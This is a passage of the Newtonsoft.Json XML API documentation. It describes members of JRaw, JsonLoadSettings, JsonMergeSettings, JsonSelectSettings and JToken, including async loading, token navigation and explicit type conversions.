name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> representing the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns an instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.#ctor(Newtonsoft.Json.Linq.JRaw)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> class.\n            </summary>\n            <param name=\"rawJson\">The raw json.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.Create(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates an instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.\n            </summary>\n            <param name=\"reader\">The reader.</param>\n            <returns>An instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\">\n            <summary>\n            Specifies the settings used when loading JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JsonLoadSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.CommentHandling\">\n            <summary>\n            Gets or sets how JSON comments are handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.CommentHandling.Ignore\" />.\n            </summary>\n            <value>The JSON comment handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.LineInfoHandling\">\n            <summary>\n            Gets or sets how JSON line info is handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Load\" />.\n            </summary>\n            <value>The JSON line info handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.DuplicatePropertyNameHandling\">\n            <summary>\n            Gets or sets how duplicate property names in JSON objects are handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Replace\" />.\n            </summary>\n            <value>The JSON duplicate property name handling.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\">\n            <summary>\n            Specifies the settings used when merging JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JsonMergeSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.MergeArrayHandling\">\n            <summary>\n            Gets or sets the method used when merging JSON arrays.\n            </summary>\n            <value>The method used when merging JSON arrays.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.MergeNullValueHandling\">\n            <summary>\n            Gets or sets how null value properties are merged.\n            </summary>\n            <value>How null value properties are merged.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.PropertyNameComparison\">\n            <summary>\n            Gets or sets the comparison used to match property names while merging.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <value>The comparison used to match property names while merging.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\">\n            <summary>\n            Specifies the settings used when selecting JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonSelectSettings.RegexMatchTimeout\">\n            <summary>\n            Gets or sets a timeout that will be used when executing regular expressions.\n            </summary>\n            <value>The timeout that will be used when executing regular expressions.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonSelectSettings.ErrorWhenNoMatch\">\n            <summary>\n            Gets or sets a flag that indicates whether an error should be thrown if\n            no tokens are found when evaluating part of the expression.\n            </summary>\n            <value>\n            A flag that indicates whether an error should be thrown if\n            no tokens are found when evaluating part of the expression.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Represents an abstract JSON token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.WriteToAsync(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFromAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">An <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous creation. The\n            <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/> property returns a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains \n            the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ReadFromAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">An <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous creation. The\n            <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/> property returns a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains \n            the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.LoadAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.LoadAsync(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>\n            A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous creation. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.EqualityComparer\">\n            <summary>\n            Gets a comparer that can compare two tokens for value equality.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JTokenEqualityComparer\"/> that can compare two nodes for value equality.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Parent\">\n            <summary>\n            Gets or sets the parent.\n            </summary>\n            <value>The parent.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Root\">\n            <summary>\n            Gets the root <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The root <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.DeepEquals(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Compares the values of two tokens, including the values of all descendant tokens.\n            </summary>\n            <param name=\"t1\">The first <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <param name=\"t2\">The second <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <returns><c>true</c> if the tokens are equal; otherwise <c>false</c>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Next\">\n            <summary>\n            Gets the next sibling token of this node.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the next sibling token.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Previous\">\n            <summary>\n            Gets the previous sibling token of this node.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the previous sibling token.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Path\">\n            <summary>\n            Gets the path of the JSON token. \n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddAfterSelf(System.Object)\">\n            <summary>\n            Adds the specified content immediately after this token.\n            </summary>\n            <param name=\"content\">A content object that contains simple content or a collection of content objects to be added after this token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddBeforeSelf(System.Object)\">\n            <summary>\n            Adds the specified content immediately before this token.\n            </summary>\n            <param name=\"content\">A content object that contains simple content or a collection of content objects to be added before this token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Ancestors\">\n            <summary>\n            Returns a collection of the ancestor tokens of this token.\n            </summary>\n            <returns>A collection of the ancestor tokens of this token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AncestorsAndSelf\">\n            <summary>\n            Returns a collection of tokens that contain this token, and the ancestors of this token.\n            </summary>\n            <returns>A collection of tokens that contain this token, and the ancestors of this token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AfterSelf\">\n            <summary>\n            Returns a collection of the sibling tokens after this token, in document order.\n            </summary>\n            <returns>A collection of the sibling tokens after this tokens, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.BeforeSelf\">\n            <summary>\n            Returns a collection of the sibling tokens before this token, in document order.\n            </summary>\n            <returns>A collection of the sibling tokens before this token, in document order.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Value``1(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key converted to the specified type.\n            </summary>\n            <typeparam name=\"T\">The type to convert the token to.</typeparam>\n            <param name=\"key\">The token key.</param>\n            <returns>The converted token value.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.First\">\n            <summary>\n            Get the first child token of this token.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the first child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Last\">\n            <summary>\n            Get the last child token of this token.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the last child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Children\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Children``1\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order, filtered by the specified type.\n            </summary>\n            <typeparam name=\"T\">The type to filter the child tokens on.</typeparam>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Values``1\">\n            <summary>\n            Returns a collection of the child values of this token, in document order.\n            </summary>\n            <typeparam name=\"T\">The type to convert the values to.</typeparam>\n            <returns>A <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> containing the child values of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Remove\">\n            <summary>\n            Removes this token from its parent.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Replace(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Replaces this token with the specified token.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToString\">\n            <summary>\n            Returns the indented JSON for this token.\n            </summary>\n            <remarks>\n            <c>ToString()</c> returns a non-JSON string value for tokens with a type of <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.String\"/>.\n            If you want the JSON for all token types then you should use <see cref=\"M:Newtonsoft.Json.Linq.JToken.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\"/>.\n            </remarks>\n            <returns>\n            The indented JSON for this token.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToString(Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Returns the JSON for this token using the given formatting and converters.\n            </summary>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>s which will be used when writing the token.</param>\n            <returns>The JSON for this token using the given formatting and converters.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Boolean\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.DateTimeOffset\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Boolean}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int64\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.DateTime}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.DateTimeOffset}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Decimal}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Double}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Char}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int32\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int16\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Int16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt16\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Char\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Char\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Byte\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Byte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.SByte\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.SByte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int32}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> .\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int16}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt16}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Byte}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.SByte}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.DateTime\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int64}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Single}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Decimal\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt32}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt64}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Double\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member 